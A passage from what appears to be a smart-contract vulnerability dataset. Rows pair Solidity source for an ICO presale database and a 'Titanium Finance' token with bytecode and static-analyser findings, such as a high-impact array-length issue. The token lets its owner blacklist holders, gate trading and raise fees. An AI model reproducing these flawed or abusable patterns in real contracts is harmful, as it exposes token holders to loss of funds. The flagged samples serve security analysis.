sale_arbits_total = _v;
}
function set_sale_arbits_sold(uint256 _v) public only_master_or_owner {
sale_arbits_sold = _v;
}
// PARTICIPANT SPECIFIC getters and setters
// getters
function get_participant(address _a) public view returns(
address,
uint256,
uint256,
uint256,
bool,
uint8
) {
participant storage subject = participants[_a];
return (
subject.eth_address,
subject.topl_address,
subject.arbits,
subject.num_of_pro_rata_tokens_alloted,
subject.arbits_kyc_whitelist,
subject.num_of_uses
);
}
function get_participant_num_of_uses(address _a) public view returns(uint8) {
return (participants[_a].num_of_uses);
}
function get_participant_topl_address(address _a) public view returns(uint256) {
return (participants[_a].topl_address);
}
function get_participant_arbits(address _a) public view returns(uint256) {
return (participants[_a].arbits);
}
function get_participant_num_of_pro_rata_tokens_alloted(address _a) public view returns(uint256) {
return (participants[_a].num_of_pro_rata_tokens_alloted);
}
function get_participant_arbits_kyc_whitelist(address _a) public view returns(bool) {
return (participants[_a].arbits_kyc_whitelist);
}
// setters
function set_participant(
address _a,
uint256 _ta,
uint256 _arbits,
uint256 _prta,
bool _v3,
uint8 _nou
) public only_master_or_owner log_participant_update(_a) {
participant storage subject = participants[_a];
subject.eth_address = _a;
subject.topl_address = _ta;
subject.arbits = _arbits;
subject.num_of_pro_rata_tokens_alloted = _prta;
subject.arbits_kyc_whitelist = _v3;
subject.num_of_uses = _nou;
}
function set_participant_num_of_uses(
address _a,
uint8 _v
) public only_master_or_owner log_participant_update(_a) {
participants[_a].num_of_uses = _v;
}
function set_participant_topl_address(
address _a,
uint256 _ta
) public only_master_or_owner log_participant_update(_a) {
participants[_a].topl_address = _ta;
}
function set_participant_arbits(
address _a,
uint256 _v
) public only_master_or_owner log_participant_update(_a) {
participants[_a].arbits = _v;
}
function set_participant_num_of_pro_rata_tokens_alloted(
address _a,
uint256 _v
) public only_master_or_owner log_participant_update(_a) {
participants[_a].num_of_pro_rata_tokens_alloted = _v;
}
function set_participant_arbits_kyc_whitelist(
address _a,
bool _v
) public only_kycer log_participant_update(_a) {
participants[_a].arbits_kyc_whitelist = _v;
}
//
// STATE FLAG FUNCTIONS: Getter, setter, and toggling functions for state flags.
// GETTERS
function get_iconiq_presale_open() public view only_master_or_owner returns(bool) {
return iconiq_presale_open;
}
function get_arbits_presale_open() public view only_master_or_owner returns(bool) {
return arbits_presale_open;
}
function get_arbits_sale_open() public view only_master_or_owner returns(bool) {
return arbits_sale_open;
}
// SETTERS
function set_iconiq_presale_open(bool _v) public only_master_or_owner {
iconiq_presale_open = _v;
}
function set_arbits_presale_open(bool _v) public only_master_or_owner {
arbits_presale_open = _v;
}
function set_arbits_sale_open(bool _v) public only_master_or_owner {
arbits_sale_open = _v;
}
}
// File: contracts\topl_database_lib.sol
// This library serves as an wrapper to the database.sol contract
library topl_database_lib {
//// PARTICIPANT SPECIFIC FUNCTIONS
// getters
function get_participant(address db, address _a) internal view returns(
address,
uint256,
uint256,
uint256,
bool,
uint8
) {
return database(db).get_participant(_a);
}
function get_topl_address(address db, address _a) internal view returns(uint256) {
return database(db).get_participant_topl_address(_a);
}
function get_arbits(address db, address _a) internal view returns(uint256) {
return database(db).get_participant_arbits(_a);
}
function get_iconiq_tokens(address db, address _a) internal view returns(uint256) {
return database(db).get_participant_num_of_pro_rata_tokens_alloted(_a);
}
function get_arbits_whitelist(address db, address _a) internal view returns(bool) {
return database(db).get_participant_arbits_kyc_whitelist(_a);
}
function get_num_of_uses(address db, address _a) internal view returns(uint8) {
return database(db).get_participant_num_of_uses(_a);
}
// setters
function set_participant(
address db,
address _a,
uint256 _ta,
uint256 _arbits,
uint256 _prta,
bool _v3,
uint8 _nou
) internal {
database(db).set_participant(_a, _ta, _arbits, _prta, _v3, _nou);
emit e_set_participant(_a, _ta, _arbits, _prta, _v3, _nou);
}
function set_topl_address(address db, address _a, uint256 _ta) internal {
database(db).set_participant_topl_address(_a, _ta);
emit e_set_topl_address(_a, _ta);
}
function set_arbits(address db, address _a, uint256 _v) internal {
database(db).set_participant_arbits(_a, _v);
emit e_set_arbits(_a, _v);
}
function set_iconiq_tokens(address db, address _a, uint256 _v) internal {
database(db).set_participant_num_of_pro_rata_tokens_alloted(_a, _v);
emit e_set_iconiq_tokens(_a, _v);
}
function set_arbits_whitelist(address db, address _a, bool _v) internal {
database(db).set_participant_arbits_kyc_whitelist(_a, _v);
emit e_set_arbits_whitelist(_a, _v);
}
function set_num_of_uses(address db, address _a, uint8 _v) internal {
database(db).set_participant_num_of_uses(_a, _v);
emit e_set_num_of_uses(_a, _v);
}
// modifiers
function add_arbits(address db, address _a, uint256 _v) internal {
uint256 c = database(db).get_participant_arbits(_a) + _v; // safe math check
assert(c >= database(db).get_participant_arbits(_a)); //
database(db).set_participant_arbits(
_a,
(database(db).get_participant_arbits(_a) + _v)
);
emit e_add_arbits(_a, _v);
}
function sub_arbits(address db, address _a, uint256 _v) internal {
assert(_v <= database(db).get_participant_arbits(_a)); // safe math check
database(db).set_participant_arbits(
_a,
(database(db).get_participant_arbits(_a) - _v)
);
emit e_sub_arbits(_a, _v);
}
//// ICONIQ SALE SPECIFIC FUNCTIONS
// getters
function get_pre_kyc_iconiq_bonus_numerator(address db) internal view returns(uint256) {
return database(db).get_pre_kyc_iconiq_bonus_numerator();
}
function get_pre_kyc_iconiq_bonus_denominator(address db) internal view returns(uint256) {
return database(db).get_pre_kyc_iconiq_bonus_denominator();
}
function get_iconiq_presale_open(address db) internal view returns(bool) {
return database(db).get_iconiq_presale_open();
}
function get_presale_iconiq_arbits_per_ether(address db) internal view returns(uint256) {
return database(db).get_presale_iconiq_arbits_per_ether();
}
// setters
function set_pre_kyc_iconiq_bonus_numerator(address db, uint256 _v) internal {
database(db).set_pre_kyc_iconiq_bonus_numerator(_v);
emit e_set_pre_kyc_iconiq_bonus_numerator(_v);
}
function set_pre_kyc_iconiq_bonus_denominator(address db, uint256 _v) internal {
database(db).set_pre_kyc_iconiq_bonus_denominator(_v);
emit e_set_pre_kyc_iconiq_bonus_denominator(_v);
}
function set_iconiq_presale_open(address db, bool _v) internal {
database(db).set_iconiq_presale_open(_v);
emit e_set_iconiq_presale_open(_v);
}
function set_presale_iconiq_arbits_per_ether(address db, uint256 _v) internal {
database(db).set_presale_iconiq_arbits_per_ether(_v);
emit e_set_presale_iconiq_arbits_per_ether(_v);
}
//// PUBLIC PRESALE SPECIFIC FUNCTIONS (arbit_presale)
// getters
function get_pre_kyc_bonus_numerator(address db) internal view returns(uint256) {
return database(db).get_pre_kyc_bonus_numerator();
}
function get_pre_kyc_bonus_denominator(address db) internal view returns(uint256) {
return database(db).get_pre_kyc_bonus_denominator();
}
function get_arbits_presale_open(address db) internal view returns(bool) {
return database(db).get_arbits_presale_open();
}
function get_presale_arbits_per_ether(address db) internal view returns(uint256) {
return database(db).get_presale_arbits_per_ether();
}
// setters
function set_pre_kyc_bonus_numerator(address db, uint256 _v) internal {
database(db).set_pre_kyc_bonus_numerator(_v);
emit e_set_pre_kyc_bonus_numerator(_v);
}
function set_pre_kyc_bonus_denominator(address db, uint256 _v) internal {
database(db).set_pre_kyc_bonus_denominator(_v);
emit e_set_pre_kyc_bonus_denominator(_v);
}
function set_arbits_presale_open(address db, bool _v) internal {
database(db).set_arbits_presale_open(_v);
emit e_set_arbits_presale_open(_v);
}
// this function is not strictly only used by arbit_presale since it is used for rollover
// when an iconiq member goes over their allotment.
function set_presale_arbits_per_ether(address db, uint256 _v) internal {
database(db).set_presale_arbits_per_ether(_v);
emit e_set_presale_arbits_per_ether(_v);
}
//// "GLOABL" SALE FUNCTIONS (applies across the entire presale)
// getters
function get_presale_arbits_total(address db) internal view returns(uint256) {
return database(db).get_presale_arbits_total();
}
function get_presale_arbits_sold(address db) internal view returns(uint256) {
return database(db).get_presale_arbits_sold();
}
function get_arbits_max_contribution(address db) internal view returns(uint256) {
return database(db).get_contrib_arbits_max();
}
function get_arbits_min_contribution(address db) internal view returns(uint256) {
return database(db).get_contrib_arbits_min();
}
// setters
function set_presale_arbits_total(address db, uint256 _v) internal {
database(db).set_presale_arbits_total(_v);
emit e_set_presale_arbits_total(_v);
}
function set_presale_arbits_sold(address db, uint256 _v) internal {
database(db).set_presale_arbits_sold(_v);
emit e_set_presale_arbits_sold(_v);
}
function set_arbits_max_contribution(address db, uint256 _v) internal {
database(db).set_contrib_arbits_max(_v);
emit e_set_arbits_max_contribution(_v);
}
function set_arbits_min_contribution(address db, uint256 _v) internal {
database(db).set_contrib_arbits_min(_v);
emit e_set_arbits_min_contribution(_v);
}
// modifiers
function add_presale_arbits_sold(address db, uint256 _v) internal {
uint256 c = database(db).get_presale_arbits_sold() + _v; // safe math check
assert(c >= database(db).get_presale_arbits_sold()); //
database(db).set_presale_arbits_sold(
(database(db).get_presale_arbits_sold() + _v)
);
emit e_add_presale_arbits_sold(_v);
}
function sub_presale_arbits_sold(address db, uint256 _v) internal {
assert(_v <= database(db).get_presale_arbits_sold()); // safe math check
database(db).set_presale_arbits_sold(
(database(db).get_presale_arbits_sold() - _v)
);
emit e_sub_presale_arbits_sold(_v);
}
function set_sale_owner(address db, address _a, bool _v) internal {
database(db).set_sale_owner(_a, _v);
}
function get_sale_owner(address db, address _a) internal view returns(bool) {
return database(db).get_sale_owner(_a);
}
event e_set_sale_owner(address, bool);
event e_set_num_of_uses(address, uint8);
event e_set_arbits_whitelist(address, bool);
event e_set_participant(address, uint256, uint256, uint256, bool, uint8);
event e_set_topl_address(address, uint256);
event e_set_arbits(address, uint256);
event e_set_iconiq_tokens(address, uint256);
event e_add_arbits(address, uint256);
event e_sub_arbits(address, uint256);
event e_set_pre_kyc_bonus_numerator(uint256);
event e_set_pre_kyc_bonus_denominator(uint256);
event e_set_iconiq_presale_open(bool);
event e_set_arbits_presale_open(bool);
event e_set_presale_iconiq_arbits_per_ether(uint256);
event e_set_presale_arbits_per_ether(uint256);
event e_set_presale_arbits_total(uint256);
event e_set_presale_arbits_sold(uint256);
event e_add_presale_arbits_sold(uint256);
event e_sub_presale_arbits_sold(uint256);
event e_set_arbits_max_contribution(uint256);
event e_set_arbits_min_contribution(uint256);
event e_set_pre_kyc_iconiq_bonus_numerator(uint256);
event e_set_pre_kyc_iconiq_bonus_denominator(uint256);
}
// File: contracts\iconiq_data_pipe.sol
contract iconiq_data_pipe {
using topl_database_lib for address;
using SafeMath for uint256;
address public db;
address public owner;
constructor(address __db) public {
db = __db;
owner = msg.sender;
}
function owner_linkage() public { // must be called after the sale contract has been linked to the database contract via database's add master function
db.set_sale_owner(owner, true);
}
modifier only_owner() {
require(db.get_sale_owner(msg.sender));
_;
}
function set_iconiq_token_amount(address _a, uint256 _v) public only_owner {
db.set_iconiq_tokens(_a, _v);
}
} | 0x608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680634d655aff146100675780638da5cb5b146100be578063d7d2315514610115578063f5b41aaa1461012c575b600080fd5b34801561007357600080fd5b5061007c610179565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100ca57600080fd5b506100d361019e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561012157600080fd5b5061012a6101c4565b005b34801561013857600080fd5b50610177600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610235565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610233600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166102da9092919063ffffffff16565b565b61027f336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661039e90919063ffffffff16565b151561028a57600080fd5b6102d682826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661047e9092919063ffffffff16565b5050565b8273ffffffffffffffffffffffffffffffffffffffff1663314ec2e583836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018215151515815260200192505050600060405180830381600087803b15801561038157600080fd5b505af1158015610395573d6000803e3d6000fd5b50505050505050565b60008273ffffffffffffffffffffffffffffffffffffffff1663f28e59c9836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561043b57600080fd5b505af115801561044f573d6000803e3d6000fd5b505050506040513d602081101561046557600080fd5b8101908080519060200190929190505050905092915050565b8273ffffffffffffffffffffffffffffffffffffffff166359a8307483836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561052157600080fd5b505af1158015610535573d6000803e3d6000fd5b505050507f6d40b99bcc49a6811e130f3b186a67de0fd50fc6c3a0185924df90b979f408508282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050505600a165627a7a72305820335b27c7a2e3505fd0260ae468748eb9b686af8a5a3ff98abde783e4f04498fa0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,911 |
0x14031fcf1710d8376047114fa35e49e6f2cb7b5b | /**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
// SPDX-License-Identifier: Unlicensed
// TG: Titaniumfi
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Ti is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Titanium Finance";
string private constant _symbol = "Ti";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 60000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057a578063dd62ed3e1461059a578063ea1644d5146105e0578063f2fde38b1461060057600080fd5b8063a2a957bb146104f5578063a9059cbb14610515578063bfd7928414610535578063c3c8cd801461056557600080fd5b80638f70ccf7116100d15780638f70ccf7146104745780638f9a55c01461049457806395d89b41146104aa57806398a5c315146104d557600080fd5b80637d1db4a5146103fe5780637f2feddc146104145780638203f5fe146104415780638da5cb5b1461045657600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039457806370a08231146103a9578063715018a6146103c957806374010ece146103de57600080fd5b8063313ce5671461031857806349bd5a5e146103345780636b999053146103545780636d8aa8f81461037457600080fd5b80631694505e116101b65780631694505e1461028457806318160ddd146102bc57806323b872dd146102e25780632fd689e31461030257600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025457600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611ae9565b610620565b005b34801561021557600080fd5b5060408051808201909152601081526f546974616e69756d2046696e616e636560801b60208201525b60405161024b9190611bae565b60405180910390f35b34801561026057600080fd5b5061027461026f366004611c03565b6106bf565b604051901515815260200161024b565b34801561029057600080fd5b506013546102a4906001600160a01b031681565b6040516001600160a01b03909116815260200161024b565b3480156102c857600080fd5b50683635c9adc5dea000005b60405190815260200161024b565b3480156102ee57600080fd5b506102746102fd366004611c2f565b6106d6565b34801561030e57600080fd5b506102d460175481565b34801561032457600080fd5b506040516009815260200161024b565b34801561034057600080fd5b506014546102a4906001600160a01b031681565b34801561036057600080fd5b5061020761036f366004611c70565b61073f565b34801561038057600080fd5b5061020761038f366004611c9d565b61078a565b3480156103a057600080fd5b506102076107d2565b3480156103b557600080fd5b506102d46103c4366004611c70565b6107ff565b3480156103d557600080fd5b50610207610821565b3480156103ea57600080fd5b506102076103f9366004611cb8565b610895565b34801561040a57600080fd5b506102d460155481565b34801561042057600080fd5b506102d461042f366004611c70565b60116020526000908152604090205481565b34801561044d57600080fd5b506102076108d6565b34801561046257600080fd5b506000546001600160a01b03166102a4565b34801561048057600080fd5b5061020761048f366004611c9d565b610a8e565b3480156104a057600080fd5b506102d460165481565b3480156104b657600080fd5b50604080518082019091526002815261546960f01b602082015261023e565b3480156104e157600080fd5b506102076104f0366004611cb8565b610aed565b34801561050157600080fd5b50610207610510366004611cd1565b610b1c565b34801561052157600080fd5b50610274610530366004611c03565b610b76565b34801561054157600080fd5b50610274610550366004611c70565b60106020526000908152604090205460ff1681565b34801561057157600080fd5b50610207610b83565b34801561058657600080fd5b50610207610595366004611d03565b610bb9565b3480156105a657600080fd5b506102d46105b5366004611d87565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ec57600080fd5b506102076105fb366004611cb8565b610c5a565b34801561060c57600080fd5b5061020761061b366004611c70565b610c89565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161064a90611dc0565b60405180910390fd5b60005b81518110156106bb5760016010600084848151811061067757610677611df5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b381611e21565b915050610656565b5050565b60006106cc338484610d73565b5060015b92915050565b60006106e3848484610e97565b610735843361073085604051806060016040528060288152602001611f3b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611384565b610d73565b5060019392505050565b6000546001600160a01b031633146107695760405162461bcd60e51b815260040161064a90611dc0565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b45760405162461bcd60e51b815260040161064a90611dc0565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f257600080fd5b476107fc816113be565b50565b6001600160a01b0381166000908152600260205260408120546106d0906113f8565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161064a90611dc0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080